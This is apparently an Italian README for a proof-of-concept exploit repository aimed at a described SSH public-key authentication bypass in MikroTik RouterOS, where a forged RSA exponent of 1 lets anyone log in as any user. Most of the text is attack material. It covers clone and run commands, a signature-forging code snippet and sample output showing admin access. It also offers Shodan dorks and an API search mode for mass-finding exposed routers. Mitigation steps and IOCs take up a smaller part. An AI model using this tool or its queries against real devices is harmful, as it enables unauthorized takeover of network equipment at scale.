
CVE-2026-67276 Exploit per il Bypass dell'Autenticazione SSH in MikroTik RouterOS
Bypass dell'Autenticazione a Chiave Pubblica SSH di MikroTik RouterOS - Nessuna Chiave Privata Richiesta
Una proof-of-concept per CVE-2026-67276 (MikroTrick), una vulnerabilità critica di bypass dell'autenticazione nell'implementazione SSH di MikroTik RouterOS che consente agli attaccanti di autenticarsi come qualsiasi utente senza possedere la loro chiave privata.
CVE-2026-67276 fa parte di una più ampia catena di attacco denominata "MikroTrick" da CERT PL, che è stata osservata essere attivamente sfruttata in natura:
L'autenticazione SSH di RouterOS presenta un difetto critico nel modo in cui valida le chiavi pubbliche:
{ssh-rsa, e=1, n=modulo_vittima} rende la verifica banaleVerifica RSA Standard: sig^65537 mod n == atteso (richiede chiave privata)
Verifica Sfruttata: sig^1 mod n == sig (NESSUNA chiave privata necessaria!)
Con esponente e=1, la verifica della firma diventa:
sig^1 mod n == sig
Ciò significa che la "firma" è semplicemente il messaggio codificato EMSA-PKCS1-v1_5 stesso - costruibile da chiunque conosca il modulo pubblico della vittima.
n di quella chiave autorizzata (dal file .pub, connessioni precedenti, ecc.)| Ramo | Intervallo Vulnerabile | Versione Corretta |
|---|---|---|
| 6.x | 6.0 - 6.49.20 | 6.49.21+ |
# Clona il repository
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026
# Installa le dipendenze
pip install paramiko cryptography
# Exploit di base - genera automaticamente la chiave, rileva la versione
python3 full_exploit.py --host 192.168.88.1 --username admin
# Esegui un comando dopo l'autenticazione
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
# Porta personalizzata
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
# Se disponi del file di chiave pubblica della vittima
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
# Oppure fornisci direttamente il modulo
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
L'exploit rileva automaticamente la versione di RouterOS e verifica lo stato della vulnerabilità:
# Forza l'exploit anche su versioni non-MikroTik o sconosciute
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
--host IP/hostname RouterOS target (obbligatorio)
--port Porta SSH (predefinita: 22)
--username Nome utente RouterOS target (obbligatorio)
--pubkey File di chiave pubblica RSA (auto-generata se non fornita)
--modulus-hex Modulo RSA in esadecimale (alternativa a --pubkey)
--algos Algoritmi di firma (predefiniti: ssh-rsa,rsa-sha2-256)
--exec Comando da eseguire post-autenticazione
--exp-enc Codifica dell'esponente: canonica (1 byte) o allineata (3 byte)
--timeout Timeout di connessione (predefinito: 15.0 secondi)
--skip-version-check Salta la verifica della versione RouterOS
--shodan-dorks Stampa le query di ricerca Shodan
--shodan-search Cerca target nell'API Shodan
--shodan-key Chiave API Shodan
--shodan-query Query Shodan personalizzata
--shodan-limit Limite risultati Shodan (predefinito: 100)
python3 full_exploit.py --shodan-dorks
# Ricerca di base
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY
# Query personalizzata
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'
string "ssh-rsa"
mpint e (esponente pubblico) <- L'attaccante fornisce e=1
mpint n (modulo) <- Modulo effettivo della vittima
# La "firma" è semplicemente i dati di autenticazione codificati EMSA-PKCS1-v1_5
def forged_signature(data, sig_alg, n):
k = (n.bit_length() + 7) // 8
block = emsa_pkcs1_v15(data, sig_alg, k)
return block # Questa È la firma valida quando e=1
ssh-rsa anche per gli algoritmi rsa-sha2-256/512[*] Exploit CVE-2026-67276 MikroTrick
[*] Target: 192.168.88.1:22
[*] Rilevamento versione RouterOS...
[*] Banner SSH: SSH-2.0-ROSSSH-7.23.3
[*] Versione RouterOS: 7.23.3
[+] VERSIONE VULNERABILE - CVE-2026-67276 applicabile
[*] Generazione coppia di chiavi RSA a 2048 bit...
[+] Chiave privata salvata: /path/to/exploit_key
[+] Chiave pubblica salvata: /path/to/exploit_key.pub
[*] Modulo: 2048-bit | e=1 falsificato
[*] Codifica esponente: canonica (01)
[*] Tentativo rsa-sha2-256 ...
[+] AUTENTICATO come 'admin' tramite rsa-sha2-256
[+] CVE-2026-67276 CONFERMATO - il target è vulnerabile
--- output del comando ---
uptime: 14d23h45m12s
version: 7.23.3 (stable)
build-time: Sep/01/2026 12:00:00
# Controlla la versione corrente
/system resource print
# Aggiorna alla versione corretta
/system package update download
/system reboot
Versioni Minime Sicure:
/ip service disable ssh
# Per indirizzo IP
/ip service set ssh address=192.168.88.0/24
# Regola firewall
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
src-address=!192.168.88.0/24 action=drop
# Controlla utenti sospetti
/user print
# Controlla l'utente "ops" (indicatore noto di attaccante)
/user print where name=ops
# Controlla lo stato di flag del dispositivo
/system/device-mode/print
# Controlla i log
/log print where topics~"ssh"
IOC Noti:
login failure for user -2 via sshops82.192.72.4, 103.102.31.18⚠️ Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi.
Licenza MIT - Vedi LICENSE per i dettagli.
PoC di Ricerca sulla Sicurezza - Implementazione di Laboratorio CVE-2026-67276
Metti una stella a questo repo se lo trovi utile!
| Dettaglio | Informazione |
|---|
| ID CVE | CVE-2026-67276 |
| Gravità | Critica (CVSS 9.8) |
| CWE | CWE-347 (Verifica Impropria della Firma Crittografica) |
| Vettore di Attacco | Rete |
| Autenticazione | Nessuna |
| Complessità | Bassa |
| Impatto | Compromissione completa del dispositivo |
| CVE | Tipo | Descrizione |
|---|
| CVE-2026-67276 | Bypass Auth | Bypass dell'autenticazione a chiave pubblica SSH tramite falsificazione dell'esponente |
| CVE-2026-86060 | Escalation Privilegi | Iniezione di argomenti tramite nome utente |
| CVE-2026-67279 | Bypass Auth | Connessione SSH senza userauth completato |
| CVE-2026-67277 | Divulgazione Info | Perdita di memoria del kernel tramite bandwidth-test |
| CVE-2026-67278 | Bypass Firma | Accettazione di firme X.509 malformate |
| CVE-2026-67281 | Lettura File | Lettura file di root WebFig tramite jsproxy |
| 7.x stabile |
| 7.0 - 7.23.3 |
| 7.23.4+ |
| 7.x testing | 7.24.0 - 7.24.1 | 7.24.2+ |
| Target | Query |
|---|
| Tutti i MikroTik | MikroTik |
| MikroTik SSH | MikroTik port:22 |
| Winbox Esposto | port:8291 |
| Pannello WebFig | http.title:RouterOS |
| RouterOS 6.49.x | MikroTik "6.49" |
| RouterOS 7.x | MikroTik "RouterOS v7" |
| Per Paese | MikroTik country:US |
| Indizio di Vulnerabilità | MikroTik ("6.49" OR "7.23" OR "7.24.0") |